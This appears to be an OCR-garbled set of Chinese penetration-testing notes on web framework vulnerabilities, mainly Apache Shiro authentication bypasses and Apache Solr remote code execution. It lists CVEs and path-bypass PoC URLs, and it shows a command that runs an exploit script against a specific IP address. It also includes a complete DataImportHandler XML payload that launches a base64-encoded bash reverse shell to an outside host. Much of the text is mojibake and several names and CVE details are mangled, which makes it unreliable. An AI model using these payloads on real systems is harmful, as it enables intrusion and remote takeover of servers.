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IIS, Apache, Nginx, Tomcat, Docker, K8s, Weblogic, JBoos,
WebSphere, Jenkins , GlassFish, Jetty, Jira, Struts2, Laravel,
Solr, Shiro, Thinkphp, Spring, Flask, jQuery%
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3. FFRMELE-Python-django-Flask

4. FFRHEZ-Javascript-Node.js-JQuery

5. HAMHESE-Java-Apache Shiro&Apache Sorl
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PHP: Thinkphp Laravel YII CodelIgniter CakePHP Zend %
JAVA: Spring MyBatis Hibernate Struts2 Springboot %5
Python: Django Flask Bottle Turbobars Tornado Web2py %

Javascript: Vue.js Node.js Bootstrap JQuery Angular &
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JWi: https://avd.aliyun.com/search?g=shiro

Apache Shiro <= 1.2.4 FRINZFHHGLSPAITIIF [CVE-2016-4483]

Apache Shiro < 1.3.2 HiEgediRIH [cvE-2016-28071]

Apache Shiro < 1.4.2 cookie oracle padding JWii] [CVE-2019-12442]
Apache Shiro < 1.5.2 HiEgediwl [cvE-2020-1957]

Apache Shiro < 1.5.3 HiEgediwiH [CcvE-2020-11989]

Apahce Shiro < 1.6.0 HiEgediwill [cvE-2020-13933]

Apahce Shiro < 1.7.1 MPR&EIRIF [CcvE-2020-17523]
1. CVE 2016 4437 Shiro-550+Shiro-721

2. CVE-2020-11989

Poc: /admin/%20

MY : Apache Shiro < 1.7.1
https://github.com/Jjweny/shiro-cve-2020-17523

3+ CVE-2020-1957
Poc: /xxx/..;/admin/

Vi : Apache Shiro < 1.5.3
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Apache Solr SSRF (CVE-2021-27905)

1. EFEGAHAT RCE (CVE-2017-12629)

Apache solr<7.1.0 A

2. AEE X EE AND 2 AT (CVE-2019-17558)
Apache Solr 5.0.0 fRA%E 8.3.1

https://github.com/jas502n/solr rce
D:\Python27\python.exe solr rce.py http://123.58.236.76:50847 id

3. REMAHATIRIE (CVE-2019-0193)
Apache Solr < 8.2.0 A
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function
poc () { java.lang.Runtime.getRuntime () .exec ("bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1IN] YgMD4mMQ=
=}|{base6cd4,-d} | {bash,-1i}");
}
11></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>

</dataConfig>
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

